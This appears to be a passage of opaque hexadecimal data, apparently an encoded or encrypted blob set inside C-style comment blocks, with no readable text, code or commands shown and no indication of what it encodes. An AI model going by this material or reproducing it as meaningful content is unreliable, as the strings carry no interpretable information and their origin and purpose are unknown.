8112e71e45f999d6066e55133c3762091779003c218c95bfebc26d1ef06d2ff4135aa35972f2ee5a7bd52d9c2eca9615b94e741864d8a9df0970177bb8bf728552d1d3c131c06a5586d08bae0bfc7058258137c9eb36716176a090502e43732639a2b78f84797470c5b81be196309ec806d23c5f0bc0cd9fb05c5f4aeaef1fb8fb917935cd2fca03c0da3a5cb3bb2ccde48032599df27119afce6078a188affa05cb3922169a07d4d76d349bdb4fde64d46a6c94fc5ecb11ab311a01cbd9bf1fa5136022f201324728b5cd162e9dd1f3a86ffb47b72613dc8b4ad354cefa5035bd0b02f2434d11110094a81805d6a4b0099f17251bf8e7aaaac1bb01f6825daaf8e5728dc40b5b1a71e8fbf73c5a4774e843397b48dad76b09245f9179f0105e4bc470c43fd8abe9bf3cb7233f79933c45dd8b54f3c0c376e4ce521a721419f259316ed9071d0276a667b9edb664cbd0506d67ce12b4d3b98fe2b22091967adb10bd582c38fa21e16eb98b29f8f57408ca7ccdd7dfad0ea8e1d3570b7a794983f9a373e822cced52c38c48bef057138eda55fd015e202ed44092150a7d4f9d5e2d0c839828c90f0af12bedbc2c0c62afa0ae89b59abbc93c66f53deba43b52e3f4451669d3e5f3cb44eca704858fc133d9ae1ede90059af3bab6328410cca6058b4b6c13fb87b403256389dc5bcb44e93207c228598c4dcc3879e7bcc02105f2b51960*/
/*1ee3ed272d96f0ecc3d89d0a3cf83e739bb1f9539afa1172e14adf334c168eeb6eb84ff67c239b0ef6cd38ff2e35ef77c2ed9304540dd8e7d4fd09208ec1adbcbc7d770a22b451987c7bb85888cf9b6782aa242504c7bcfa489b91ddb20b9d7cdbce89e648f0636744416a147feae88a8fbd8b9c3b54616e793edf8d7e451044dc4adb54c3ccefa1d7c9d1208f26ec37996b6215d0c54f11773af97e710529f042c7e2c65733b1d26a33d7ce4fcc7f9c80939d7c9a09c77a5e8140caca9e25d1eb710ed8700e99d41d7d957e654827acbf99dc02c1bbec801204a49e84e866ca57d5a0f0bbffe4b2f564274fd38c3a8171419e9aba59022d1803b3f4dddfd9b785695108d15be2bc36751a7c6dbd5804a618f28eb3fa3ff24ed8ff0844699533da1a30bf42a1519f6b98686a33560e8129c5660a71a1cb6ecbed11b41a2140457150a232260b681055c3bc0a91ae4a92bec3efaf7123ca708c966debca80cc4cddf430f0fbb23fd941d2c4dd34340bc725cbb96ffff5ac411009677ae4e5ae6aac613c6dbfb2aed4ae2221e01dfc580f55ec13e90e84765ba98a262371a970aecc3c14bfd37d0da210145b60c29959d1e2b113a292ab60ac470ca4969036ab16b329ba1dbcfee978db41716b837369d93b0e534e27f26f4dcac21bf6b18fcca1b2e5b6193f5ceaa81badd27c6f3a158dc7975c42c8343f324a3d399b3c43bbb5106ec28c82bb300546f850c3631da34f531be3f677db959e70519b2509f935c2e394566e2edc8de92332f9e08e5deb4383fa26c3201c925d8ab085198832e6a25bd26ce7204546dbb6a4b0d7257383cb43362e8eeaff58b62ef012ea23b3a84818cac46b09b3c534359a796c83f68401c7cbeb2f8d7dc31b53a1eaae48dce98630d344c790c568ed362a134487dc7ac0c9ed9f89768659ba470f775a64d11e324338a1af6ba1ea699a54b0a4b40c80ecc2234f37378f4b4db692f847a6d6a02b0397b11fc41e2e20a18d30b02ae448d8dc7aa95990452ade0c16ad139a2947ce333ff8dbdbbe7d4af2697b436365a1d58e93175478c45f1f09c26d06dea73e38f1b7bd10a6d0166301104fc8ee111469a467693d1b0944e969cb8df2b5f01c0a519911f3b7b294e92a2e3dce2e8725bc0667813875d67c96195043c45c621628153bed76a265c229afac74677011473a4942b9ad7aa7987a2585aef9d0e9bd7b2843317579396ac3eaa4fcd5545957a2d50160d92e558f77bc2ab71fcfaa0ae84ea71bbaee666f56aad0b14ab1f79b0a82a8fa5d587a61dff226f7ffe564d0156b6ca82298cd67ba04bf8ee3da461602df1b6141a9078f9c63b932a0cf531f932ea239edab71d7940e0246076fb6d27e780d9e08f861c4029d10d3dccf72d6d0376cedf1115d49f64854be5f314190721ac5fa4f143bb3d8dad3ba2bec8d551437ddcc3a8d2e6202fe09dd47afa080340352340e228172045d0c114eb0a97aa5dbe5c4a2d986da0513168395e3667ad8f3e99fbad0d3e3bda5215ef222de34dc251728c10402230cb66c8e32204dfaf42bf6e091314f18ea480c4c87df20dff6ca47bcdf2a81c5567de9ed4fe326f03f6883c1f1d6c2c4e3cd03cbdc2aa6b31443c18335e07c1b5f9942f423ee31287b30b94f8ea474c6f70864adf8d65702a0afe43264b5ed2de37005279afe3b5004b6cebf67ee05277ac9f0ebf9d02970caab35d001fd3542611c3558c752803bcda87d1ae4218185aeefa972c0848c9b51a93081452eb7b91fff35ac690e304013689bdbed38aa22c7a93a86b3784025df93888b246fd4141771de5cf7cde15a6ba3f532692332554f2cb452abad40f80df2ba6e687bafdc4ef2d66bbe571df11601874861fa4b9bd604f224df7f00bb920b7d189c03b07156bc9e113ed64a0be35b1cfa5d47d19d28af4f022784111b826a3cf00ac5f108077adfbdf5bed4e29888293d6c3ba12b02c3685fbc437ac4e97215085db533f3c23b2f9d4227dcb52e714b9826c542092e323acaa7dd5cd8e9b1a1b98348f2c2072ed08341b679b06897213c891ae4e0e0e63ed52b971e71e7a4b0a94e4fc9dd5dace1eb5d7c7cd8812c89ee489456e45349697b869de68b7fac4ef914691e5b787d9032739139ce510c17b73efdef75df13b6d64aae4fd71aa296224ff2d738cc64d70e956d673da86808b1ec55efce6fbddafc999d5e1c6b016dd04e94cf6c15c0d923b70b3255b22309fcd7e69e1d25ccba2849170cc9e515c672b4308c418bf2f9d667a721357c43068e734f0a6037d0057bc834c874672dc6f34897500d45405520fb248bcd6b25921bfbc3ab8b5f4e55c704fc70a2bce043c9920fccd732ed3a94b223ac5bdff027074751dde8a6c37246ee0a5c25e6f6e60541a5e252a55d32e2a0849809e41c821656647e0612d4d373e0340ddd6a6c8c3e55369809f732ad78c7c255a05881452570986c303b8327f7ee378dc8ffda7bbf6d3bdb2ef3fe1cbab2d53c9eb2f7ab47fde9238e50e26ba2793cf062a1d3ace548cc24fdff78d3c4327ae845b3d75e838eba4f32d920c762fe2b59faca47229c2cc61a1a53694f56b9e40360bb3d676417a09642ceed67e86f61ea00042e13afa5e3c6a8186fe53978a07d9cc9ee35ef05ce440dc34a11409a7996ec0ca234ea4f70e6a97a4ac29e52840fd2935463c4f850fd33e4989f65c7248bf2b5622b453ea330ded083149201e50c8979c57fba3e7990c9e26dc4dbb1f2ceb46be6b09a657439c1c06057ce6ddaccd9ce89bb269e3424965e4eb6fda5ee4eefc9e2715b05f85188a3beb9bd916770224d*/
/*ef02dd745e7326b2d9cbe78d5b55e03c8c71560d5b9c2671cdbd820ce7b183de05e96b49f132c1a806d8d2948e44cb6b7d62021706b0fd73864ac31242712162a494557e2b7fdf481f368b639f83191b856d5db3b488ff4c8209566bd0eb5446a1c428c1f110bf33c29e4e5066ffb8e5dc36eb392caa0957ec2761734a0005adc0e7a62be0382e0010e78ac1348bbc541e06780af2b017d81529197594a442da3b5201b69aa44078cf0fe5170547789b9ce11c5470ea987b1f984554a767772c5db9797860b124833d8df9a858828cca3be233d3c0651bf81646645f2a893fd357518ec6a8b6eded0586a95f2cc1cc634d3a9b7cf6c428b22bc21322acc9e6491c536776375ae7cdf70057ad4f02bbe826a7b9a919c125f37757b9ae69f779462ce1a145c4b273ba301d0b4703299549b8ae981c56fe4cb2a9d0794bfadcfd9f49c0071001fc744e98846e2b2fec8bfa534243756653c9bd0ff87763e4ea815eb079c29782902bb9a75f05cc4cc66b0073c518496ff1e9bcf59e957801b2e9681b2dc65a64b57e382be228122e3d833889095a4b491ef5b12d9435ea25ffb9ef957604fe4f2be11ec8194748060106b5be2b1e318ccd8f7529c865e0580fdb3b043f622d4ab298375f4c8d9ca765367b9107583bf2daa71c1639dfed16aeeb43fc041c067c63f2d77117f6bf8fcf263d3003d703c3f47d1a90c0bf5c62aa780090b2aa91427af602facf261aed325fc5f229cc87a4fc9e822f578583ee4fdb3c15171f427bb9f2472003def9e6a614bfc632b42fc5539e2bd6e38c46cc450566a0425ac4449cba01db084a8bb34c54ffbf8551ec815557b3fdcc18f4e54ec326f7e78d776e8bedf6d8306942607a4f96b7cc0f5ee50112ff9f4bd05727536e0aba088c2e6f7934ce628c2d0a7103e7293fb97085a17c1182400c6f6dbaac1fcd4906a595632c7aa5a663e78fd089f8c5e88699fa884f92dfb359d9d4cd3b8b98448ce2035e18968eba07f01b1c48c28b35afb30b888aaf0c2c00e011c0a8d9083b8b5d05182646c32f51fc18ea8181e3552dc4eecfd33151695a2ca666ad3b7378b7bebb1689eb61c4a69e8d8875be255d5275d2b3876d0047755d38fc5406ea8bbf08bc743772ba51e84eb9534d0b5dab1debbc3bad4b2db0440bcf609c0abfcf8872a8bb89926e41bd6ad0d00cc5b29d049ce2716f210043c11b8a92e7e59562b3b81a9f69d0679c52e60ed7fa1c47175768a2c362de92ce56c3d695ccfe25a571a84645bf9e65624cb558fe4b8860864b54cb0c8f99803057b6f0a0a3c6e76b3ae8347094006e77aa373b8925a6169ff5a4ba4465098e4fcc0950000a22a0959b2ab48754a002adb1105f39027404908dda67dd167b64311acf7604ff271bf430fc929868a0c1150216345f251d32b865531911b1b0c579c2e075c8caa887e583ca994169e658725bdb99768f03d1ad8a027df8c23e33358b8bc5f2e53199e0b844f351bffc1dff430adb8ffaba2b61de7d8ebfad616eeeb8c95d7d248c592559005e280f421a5f56f5575e02459ceb0591801c4fce0e1127f3985bdadc13a31c14333031099c62954f7d82925949a0a2d67c3e3fe2fad6374a7fa8bdab1cce1db57b7e2b703be1f438eb759ac89539e456720bd24038d2aad5d76da3dff46590eb533e9e01ac5c308ce16b5d89308aec12bb471ad2e0a8e31831d15ca5b081ae57d7421152ae8ca33c053d64093638c74e0b194328c499b23fadf8747a0411fe3b15ac5a5f0a97b138c08f69a245dbc62761e51a353c24b7bf04c66a4d20a1573b9c79ff8ddc7a18da090be33069eeca96ac8031d1fbe70007a9c81e43388e6967268c929fdb6e47b8a7591277a37076d33dec18b61a6ed5e7c9c37d3ed59a18bf3546387f39cec37c379b4580ebd3ce82800ea89abb25761ebfcbd689dd61dd7616256c0a2c388259bbb24a09fd915f721448a7e9ab2fdb59ce4b2956cbe489aaa280276018da760cf65476dad59f725df27f2e4b8bd0b8e731afc8dc8e52a3c992a746d5c749340ec8b60498f147527bb17623ed1a0cbdda7f7bb58c418ec16d812b59a9603769c5200c0bcbc1b7212c5ad29b0eb030b8802925a67903f156e0b6d74a4de9b5369c42e52670a7f81b7f879ae720114d0a46ac8fdb7b4fd6c50f3c940fbec847245911479481331aa05a0bbe9ed58351f029947ca4aaafc5998a6f25f542eb48d6eb060512379c6c0e1df08ca8ca34d21451b4c83b0f5d9a57b2829fc622c58f6007b82cbf145136683041dfe09433b562a9fe5a45ba59fec4c30ce09557720df3b0393a6c854fc6827e581a6df306a125cce76abb1f302a59eaed4c8f4d174e0a4cc7fbeb2b3fa523c8e6b8c2fad5d0cc60817bd5281fd3104dd0ac05723621998c9b538618b3f47c138ce4cd3ca7fc7b27ed25378259fe592b1c20a4514ea91f45c3ecf2b73ba60234f7e136fb818e6d5f6063eb5bdc090ff4db9e6b4a0e15bdc025ec4093ab9ab7aac77fad2f5d45da72bd9473ee1ef41af58a51a2efe4479719776aa2f94ab83bf6f84c37c7b881d87ce83113cee30587dcc16c52364f1ae74064fe92cd1f4425773753626fc3bc15292d7e424401c34becc2c639c4ff3ea6edcb0556b223a82320341272a51e650a76deb96bb33123bc2c9754c446846d42606a5cf7ebe7e224009eb4b9ca1a363541099e21ae0acd653468be121ecdd3b9ff7867dbf8ef71056749c3cd51161ec2735f8977cf9c2432ca36fa8236b49f211cf67ad80aa90f7f340c2188953acadf632ba2e6840d4d290ab000d3aa8b63d4a2203a546146*/
/*0c286dcda601d3bd970b19efc2c5ae0fa9a1e83a368e93d04f5841f1e14954bc35f603f47bdb26987f10fd91c412643560c18ad8b5bc429b231ae0fdecf17b7dc0efcd9080572bbeee4e76c9bc5552b86c3fcac99782d686f326a565f416924347e97f6405c408f242fe2b03d4df63994532bb717f392b3c68714d117feb2d373effc1460f04b7f7ef3881c9797c684ced13ee831a5e5d563e93e3ad685bb5acfe9b7e7b0f0c4c44480834662af045db2e6f6aa59e994ac04d457c7857414d852fae74350d14948530c9c9ba64cddf4d0ea5811b109ed1c016f3aa4da4dad00f75802a941082d95a2ac6313a61d525a4a342047f9690651289c770b08f59c93978a14476fa4edc57dc8f43c4fbac0eb9be39153476b0d11dcf2c060ea59da06296129d9e67d1a90d8c4694a2ebb6e8eb563ab28a55c46eba1487a7f8c072380a539089fd0f82399cb100536c827a8c1eb9dd5fb223f20d4e8d329fe8bf453d01b52354dfdd434ff83d33e5e045029d1858caec1e3397bd7c8223cce0097510211ffff88063cbd7eed3e47580018ac820c32312d95e88bc0d2a1ea1a933cb7d52010dadc3dc307de26389a79924a2c6c076929e1e0cc2aa48d0427e745b8966796507acdd6d67ff3b616d8c8bc1db997b27f29e25e54ab10a2ca26d18da9c9303ed55fbcd5eba21e60accd760304e801f068e4239ba6d49137a15258bf9c3d6e449eb3431f8f191db6d5c120721359eb45f12f45dc5d06ecdce287763c13926463895a2a334b5d88d4fc0743f77827ce7c0a5cb887e5d9351e2f6bbbbbcf852b30443531e7420d291d2f1665197ae49f24eeca2b2118bbbffb288762975a55730419e8fa479e30316c3c5a3d39341a75ad925b3997a24423dbc2c851e6eaced151a4af5798e59ad6cc969bfb1a066a585c4fa39d04e376ead9a7918ef54ccf1bb8a91a3dd7543ed45b4b807c2c631d1e2fa8c7e07a93015d698a9d49527584186d40824e48eddbe25b66e55cf0d20c77c5d8271e02aa23ec1281910a41682a0318178bc634c6535c1f62f89e86ca943fa7efb50c9af13142b7e13ca6c962328b35ab23c1de6d3a95e3be3ee6d4abe0d08eb09e8cb5d3f72f53226fa53983e943881c8aed0abfc311f31ff5200f9d8d5c2c892667ef6bbfc9b48f871111d1dadb848b286e2e351d1aefa45d5c3d90cff6cf9982420d6746ebf46a8ea727b9fe01f70df02c5c95d50cebeaa2ec97d767ec9782f6f218c112e2fd904dba6db17cd54d7521c1b9dbf20cac50c1a928a3f9aad9f8a736fad5596027bc76ab178c5371af884510f7d711265a7606b9fd03806113b95a53158ba3384115b92644836c3e9d8b240c1d4e85270be92e253c6cf7c9ec65bf41bd90c8de6a924561f97f6dc748638975aaee42606fa764e08d51596f26ceeabdd3b54189458d0e3b871d02a98891547756b3109246625695463f94475239e9f5d9ee158a288df269851a0f336abea631eddd39b0af190939821aa216ac1673a2c27369137e805ba8698ed3a6aa5d50fbf25d15e9395ce0fa3205cba3930217ffcb5144e295346694700bd59db91bad393f6252e9d23fff6f397ee6bfcfccaa532348a7a7a59b40786faf542ae26fb2cc6f26fe57ed95ea073249e9ac63561d66d41c303adfa9c067e6d3adf4306ee356b92881862b3ca1dd1f0ffa3b3c0d41358ab70443118a4f1bdd3419c34da785bec181e4edc11fae7dc7dbfb374b8e5bc6f2464b6d14350593e7a208cc0fbe313a8072e423157ee3a8518e58bab8554f693ded171ed9163017b562536e075cac8d5b0eff64d299b2f6e3c51339b66f6e97094551ab66e6ce4343ca31cdd6811066c5dd2f983b8addfbb564b4af2c0bea3ef4d3fef245abf30788085fc21f726ef660f94d42036a5072e8b3eda89295662bfffb8403a19e920b3219f4d231f33a7b24d791da8e54a0367eff83ea084a80bba27c371e75bde1d016499f05cb58f5a0375585a8b9eb580412bd7fff15978144fa5dfb94e50e84d265d7eda6125c6b7b2a240aa39a13b78128c1be2a8da8861a6e2095e1eda0f787602c01017e6d4cd19b55ceb57f99ff19a9809dd263777e3bcbac73b1a9f36d6d4ef9356b48c3f0dca1aa6e7995b437806558ed9b74e006cdf441f3045293fce93c8ebc71b436f7057ffd81c53fdfcf247a380d5c00ced9125b78555040d0a24bdcb9778a0d4b78a28a4fa3272923c7656c13320d8d485e4d4c96ad52c33d854918335183aec8f8c826f521944f24fae23c4c3886473cb8d7c45d1df92ec4a3b433346bf5cd8d7d348d40636288723acabf296110e710ce464f5e8a3eecf1a2430dc477092fb795acc4750fcfdc9f87dabbfa5bb7b514f5bcad4edfe45ed4658be6eb2120f05fd5fec08d8b45f68172ae91ec4b5856448b2bfa481e0315d101556534cb9f67cd091a93a2506c383f769edeeab9c30670b2ea81c020eeda67a3f74e2decb2aeb626e1bb952a541581683b8473ec844d43d4d323110f5ede41d88b6aa3b4d30ebf98606a0b5696c2550fbf03cff51078b95449b181645830e6d1d873cf4f0d2e6e286962844694f61b586d24c377869262d654a28370a7a490c67abef9aa63c2cf98f1d726724a078a522432c490a60c7d48b870569841d842011f5ed7baf00cf2e065f70f3feb4b567f7389eea0520ff0fdaf4b41ccde8df6cd404a846ac15b276fab7e4a18470692905dab062f8ad844f1a07ca8645651c966962957b828db29d16c87702f680375e4ef78080cc18b8dd304031ea02a3a7d497d8330e38d467b7453af56c7fd8d1fd0a2235e4e4a5*/
/*42c342bc354c8a1d0dcfc307d7ec93182bb11925f6bbaaae2b1274e784c9f712786167b9f258023f7675ffbe1cd7a90cfab6b45cea243497d5be20175331921e155c391293cec667a9666d66a26170ec73c2b9e18395b4be5b83db50dc29a44cd0dde6496967e1179d6c6f49b4de672b05cc97e759a723da5b1e530945e018de9e212e26e9727fa959e41599c933dd6e61d90adc1ffe6fa1aaadadf4545bcc7ff610d135089ae5ecbc33cd9ab1a150c7406f74fd7fc2b55bd4a02c5d3af2bbe2fcc1e11c0f26365c7cafa59da94010a80e8d2b955c6452385ec96b89aac2ccc5e7e5c5a399a46f32a80135bc00d5603c1ad9464fa3cb86ac7d980d27c427ebd69f71a1a3ff7b905533b8555eb56ee74726d2c031c400ec57ed6b1e5fe835022854ac5eaf20b19f60a005dd95891b30e30c68fb85a146743f1dd2977afded3337ce2863a76d764cad9b96fb76ae42670ac66dc122c46ab8f58245f12201312dcd3a230b377e8a68338bf22301438de5f2b64c795de8e841105fea0db1d624a3e0e7e3fc053aa4d4fd727fa4f8bd1b389f960d769ef6352c7e42d4d92fd0dfe8236503959935506a917b43b776e741a1dfceccc8ffbb0fdb309f4d482efc601e337798415697dba4b4f840d59bee76f965261e57fece64121f55e4d756f706df358e63c203d228c0ef0ac11058c6530484007b99e08326e505a692987b80dd71eafe575e65267341966f5354e56c41d7097a42945c98517b1075f0db5a6f0f9872fa128c90dbfd6492264dff06897b8977626603e227c417e2109a4754f1fba174dd57a04ee08e51a3638def8d56d5b121642ef8775c139ac11959d8fe612370f126aa85ffcae32064655fac755aa0523e58cea424fc913716d484b1781ff94f68a4c9b8a58d231a29c3be815e70e05796b004c26202e4097720bd0d7f55bf055b106c61d2163b8023633d23cf599467534a86d8065b9a864e758ff836950365fca7c9932740d2868ed1eb34af6415149c95dea2dca9a58225eb6dd1844f58183e3f0cf78084932f5f83cac754256ce8042c52a8f6af64272689138e5d0a8726b1f50e1177a63ddd1143dc972989ba4f2a3ba69cde579a66f0958ad0d7800a4af0f8cd402b940714eca8d9a5e4fd242dac6ba49d1e2a30dc40751fd0e3e1fc43d13978a3e83277d85e96f5fd03a718546de21d72d1fb020c2b371854d8275c9256a16e24574e4bebbf99ee2524908a6060915b78da8a99ee4a2978736f364fa978eac2941bfe028031c99e30556280851645044fe234c650dbbf5689b31c5e1917d2da516a3dd999463ebede5a4c04fd1b4bb9ffdcc7d07b5cc673efa677598b422e439596c12b30c9e45b4631e9b42dc072a5e3c93bd75aaf1569c185a585849db243e86a4bad6dc33d9d75952a707b5084fb8f3e15068c7d7c447aacef3c39249f5d1b26af991f07e1a2d90728fc55d992a6c5f8d30c2586c96aa671c47449dba08804e3898bc2a842653064abd3101ecb0971d8d916b2ec50ecad6c834e4e1e956821c1c7b5401b73ae6bc9df7d5c58a8ae4ce4db5a7f918561669510225aad07acb6ef52f17f341fab36343731ad5db574721850026dbb603474ea6e4954cc0236b9ab9b838289a6827d6a96fc8656c75f8aa3e3e5427176d8cdaf8b5e4ef1633979b80be1d87044444a71f1dfc33ae889c536d0292ad1ffcf8000dd65ec9a6e5b4a2c29606405757ccfccb3f2e2706ae31bd86c9c72c6f1051a024e5fa5e2f511067167b1cedc6ca847351233cb1a3deb3a140d5a1947e3707487416a76ad66e2c9d6876fa30dab3966810a693c4f287444abf57be34ee14e8ae1eac8189388adcbc93f03549dafa9ca0ce290faf97cab7f18b35bffb9baba720a0337efb33f995ac1f67601195542fd24651305d68401c87827d71ab9a4cc93659800716508e29fabe28136b9f0d7ee83fb70cfa21afc61a34792149211e0e8e2c88b7c518d52365d13259bffc8c2e0f6e47c1cf6e4a313ae067db8c83d9d2e82ddb2e81b525d5c946961d246c8cf8f3fc2b92519486e6013c42866c7bd522ad3239fe640bcaa6b4f90c7761e5f391b435c60693b8dfaef907e679d2bf30a2f0f1c8b5a6b682af83fc1ba761d8d861000cfce04a6d4bc2515f43f2c74f92f0bd355bd9fbfeb8f8fe81947401c2fe0a7ac948fcbfa978457cdd7d769ad73479e060b2dac87e387a9561b8db39c0bea62beb22f89f92d4c56fb670146db83cf96b970c485f6705cc887683d2ecb61404239da40f387c3e0b989828a4556558304c9804fd2f9df577ed7f48436f5273c301fb969b56a8d6ad09c39beecfb122a2361fdd96801ba8873c495738ac8ea3b8d4c7108a1566f45a2dd492a649e5ea1734c484fd84021b5b38a8d9157db5e0cd7e2520c4d67642a24f93c12b4b46a8486e3b764f80c67cdde4440b72439595f79134b4e9d9f5e0faa49a53e47df3d14b5003162c98540dbe6fd9cbc16881f8212d8885a10075ff7b6d806e12c94c81ed00a112eda8936975584b0e94dc408ba9f78ff4aaa14f0edfd2c5724cf8e10a951f347b47ef382591e715117ba0db3e52d85bd23a6aace178adab653ba71c472c8afd664d1a88fab98e28eda1ae61a4a5ab64260c1c7de7515b9fd567b7266e4f09cd3f8ce31118bac56596c784a31e258e77aa31609d4ce047aa7902ff7b7d62d51610ba8a23dadbb62b2dbf818b13d892f8b8d2dafc629966947ea191767edffcaafa23db94775fc7c626c92af3f841b777974763eb5af08d5bac79aaef97b786e4d1de6085170551bacb95e9a46bc5b511fcd70d2*/
/*e2a4376c7f52d6671cdc33d6b0fe4ffe60f0ce376db4ce5e4b501ad2fec32a2d4f3cbdf4713840358efda4a9257064e7e14da301e576f89569e9dd67d415706f7e7e1e7d5c718e85a3792bbb4ecf04895947fcc67536fae740e317d0abc42fc0fbbb7a5c44cb63cacb0278a929419ee5b0ed8681aab9a11c000812c5e56fb45ecc3a146ce2141f3d0229b6fadb1c025e998fbf58fcceb736153fbd2959cc340ef55d99a77ceb94589cd30cad2a6b82d21c3389f2a4541750ed940f08acd0c2a8da1941671fa003fcdb89d856731b01273da3f252c4940ffacaa5a50ad4a476c35f9b0de1dd91e58b2dd1f5f9adde5a86b74e26f08a79aa7b78f6573ae2f760e85fc9e17fe445c60ce067cafa5b7bd2382e5e58411391c49eba927ec673f42aef11e83c6e6010dd9ddb160ea26cad386d2dad3ea538a7bd623ddadda481bede9b8aeeae4acb28163db0c50150b50f2cd23a1a8822c8dbcc6d1eff6084cc781b1a73834f6c616002ac44de91ff431a4f4af636a825feea2d3fce943bdf43b8677e695d9180e01ed3176eadfbe64858414c9ccec19a782c44d6315514178cc75ebb31e9821ec8b464e0032e5ec2befe4b731146727b7b03cb29ce6ca3cbf6d9dc207a9b9fbe5e4312c9b99f9a2d4a4607489c5ff709027fb0943c6fec035a828a15aa121ea6b791820a7494ae6bce4022b88bd16272bb197de50d205e33bd1bcd61fa7fa7819c96f596d7d9bdf587435846a9ee5fd6f8387f6c44d1fa8b7b2e07c79d74590b55dbdb031d6468f5fd38d227330fb57a6dba97d6f387e69b038ce84aaf4c5fc4caa7fe9d773e162e5e8ca9d44312273b112658623943ed2c35846f1697cbed6a8e4a4fed617e578243c8630657cc807f4067da88b5adcdf9dc0d95c9571b6a2204f0a8816880f02476fb2c246d62f3cdb5f7e4a4f1e1f625bc62077bd0a8769d2bb21bbbe59710ea1de852a8301e0e43bd4d873b987698b623090f062dbbd6176d7cfc9ef8ab6e5af1a6ca2a6f9fccbe8fba2057759667353efbbe0f5610e9d13ec8a9579f95b2ae38c8b7c244473538d0067c03cefc1ff0f8aafc2222b58f8477dc42af59fecec93df4f092fa39780159e7194516cb157ae774eb72e2a2e5ba7be169bbdae8b2978608d6f178b312a72f969c78bf60db3fd8b3f48fc70fdd8233712718ed6c9f4a592172c93b8f15fd48444e1bd93b2db55402583a0f97f44db9e90061efbcd2ecd94a61c8df958f5d5a1b54f50e642e208181fe080335b916644380af962c3682804657bd794236e36cacc9175eef7fc81395e0dbfb4e63f7d908ee921709d7e68cd3b299cfa497f0ef919788d7ef65c78c126339e1818a4f833fd45ac6247916551f345939735bdde6572d27eeb7f9ffdb28aeea60b1dca7e1578f6b7a0bf721dd001fd4c4e1e029e094120ce5fb4779d06a8ceee510e45cb248bdfd689d356d1ffc1076fe0f200369a6a1f1e089f6a355ba5ab18d15665e6cb98e5b7b027cc2b9462659c97895fd50c15a8ead2a41da0ef0c99bc3b4415b0e5fe403d9a3949dd2d62592cb045baa598fe9a4cee78d16587dac9d2480b0ff7973559c9531c07b518e9323d837806455d29a0f2e93770df7aa06ac1a765e5b5fb248b7c8245f776a2519699ea74f0136850baf821d40f3d4a0bedd073705a52d55b7d7faf29d358f891fe202a8a842f9998f2d70ec0e6f126ac4a678565484ae5b1da6cbdc28515cbc82049ed08a6443a00bc400cd87681ec760fa8d83072f054ed7a63814f2ae055e6c379e14986f4cfa663b376e0f3bf170e555e7189a39909daeba7aa0a35f6e93df792f27f6434e681b2af84755e5c1c35c253962dd0df5a0913c244606ec044def43dc2b38fd164cbebf5dbc0339626c1fb91a85ddef8f96a5a1055de6619b1ad66688b102f282ab32bdd9b8b91cab3ccd3472792ae5180409f6920c3c449c4c0d9db06c607b764009b6b89a98a042d200eb6c0edce098eb6505a78b17e81bdc57b75fe5b3fb2c2606255d005ca92f4aac80364f971f9555456cf1e7448c3bd8780ac9f3c04edb0be76915f3ce41486f718c0a5ef1787dd152e8cffa7b5273087b91b96f7d9788a7d7a1c6734feac882581691ecaae2847467fce76d692c450266dc648a9ae0d11b81dfc98329ee7e2cee0bd864eb7462c69847fedc801e2ce997b15662d3e6061d5b9aac63454145ee6f4add4782e757fcc09f8a3f5545af01d3cab2ddcc1acfaa0d08cff807ce89785497d2daa57dd281ce410b8d2b65ce316588dd76d316f92bdf256f73f9469185675d384f4c32a2ebf478b3f5c5e46b602402e11eaebfb38fb2ff043bb00cbda46c73777aa6cefff4f68e69acb50709fde05d4b040c596a0463d23a3cefc5610a70af6431ff0f88d63b75e7faea34fcf2cc6bd4336f8efabc94cacf67f36fc237ea3ca1a0807a8a7be85df443e3cf36da4e3704d0a2bbbbf2ec09c05330f4f79e941641203f259a5ea7540973fc7cd063f648d0621a1d38ae7a0e84b89c427855cbddb75e72d364c0ac587e81ce1da49ad9b79055850f49d606bc6a8d5e0a2b68843e2300a05840d65ae1518ba0683d0cba74ab4207533a9cd2231272c7505b5a700d51c542aed33b50f66588dd7049f07baa518489fc6e7fae9b99fc8350ceb5a9353bd3cad8ac105dc817091f644f2d3933c06a2aed971851186e604cb6ccdc4d7e374d5d2961d3ef98fb3852902a3d808450b9315ff68293b23a33c5267ebbf6aec10466116726ed9d15a2d6e1e8f49591d623703b825cc42d0f04d040437ee2d9f198fc3dca392e1704bc824cad3e92b3*/
/*5a15502b91bcf87dc51a5270d619083df01526a894ecd8e3f859daf851212ef9f2634908e977c289844e4d54b898a0c0d551664d2c336c849b9d09c7874ae1f70a79d7c0ca10d583c30fdb8a90d91e7ce3838168068615d21a8f9eae15d5e9b4107fc9444e41fc4db5061a5d45b8c1f4610c559341f4c35ad835a127915fd54dd849c01d68241ac07e6a0370570f9598ea3c45e668be5e772e5da14d94dcc3aee09fda8fee70ffd11918e5d798a81f3c3bcc13fd6987e3dea3a83dd3a8139430a5c2ab39456343d1df34bd037fd1bd01629408adf447aea726405f6cbc3936343fd3254c4fd59d7479027e353477830f23a8152d05b98b07da88961198b8e2a04df2346792ff15e138efaa798cbaf80dfefa7f58f92bba5e664127a903dbeba65a3bbc514e6359af13efc7eb87e7ffda27734bcb6489240f24fb7be001cdc36ebedb48037d8a4d5c2e71946faf13858a8a04ea98d927fb62c45ce82029fffa88ab197f62db3ea8561a887e173a374f1410949d98540d32fbd3afdafd87cad8d966629f1ec73df6963316297d0067e1e9a728f177dd503c5c8266a9e24e28d5ecb358e56c5e3017f1a8692ceb891508cad7ea3196961f5d2b0ebbd1c0a4b544e6d010ec4da0f88d2d16ca681b9caf467962fc98bbb9c0748018f06172b8c98c65a49dd46e3615b599b3d035c66fe330f94110e935e65bfa144f3483ae4d96f272d0f9ad2117770c19b31448221de50803301298895e9f5ecedc75bc8fc6258ef53a405079afc47b0e53be1bf7e33a97a56a24bbe49eb0206233a4bc596c6b2d7dd0ad3c2ef9aab45794cf861d715ce645e0d01b8d0bbede5e7ffd22557f997df42a2824f7f2692d0ad874dae9951720355bb08582cb5bd10a13609513f38920a943e442e818696eaa8ac37763e0ead16e942476fc89ac8440049ce0c6730bd1625198b4158d35d587d3e8b7ee52ce58b7e9ec38061cd7310ab7cd4e579d9cbfb2ab7b0927a87032969a42ede6a408fafd6955ecdc179361148c32199b747bac995bc39bfd0def4dff27e551d81e7cb2a43c1389d8425edb9bf31125737fc2d3ec776af2e8074689721ffe6046061223705ea993e4fe13d5d9c190293d65fe102752ae9ca51da79464a36273c76c4f773f8ba4c18e1a51e8a62d45358c6e8aa8ca199c2f56a1136eb6c03e9b8942d7c1d843919fbe08f5ba0a8a47311456c71c2ebd74ec8085e277c7801e8a35526c45d959c635d65d1e24fdc1b6cca25a2cf667fd939c842ae0bd73e59b2cf0cc1dd32310fbba4a3d9773193a1913b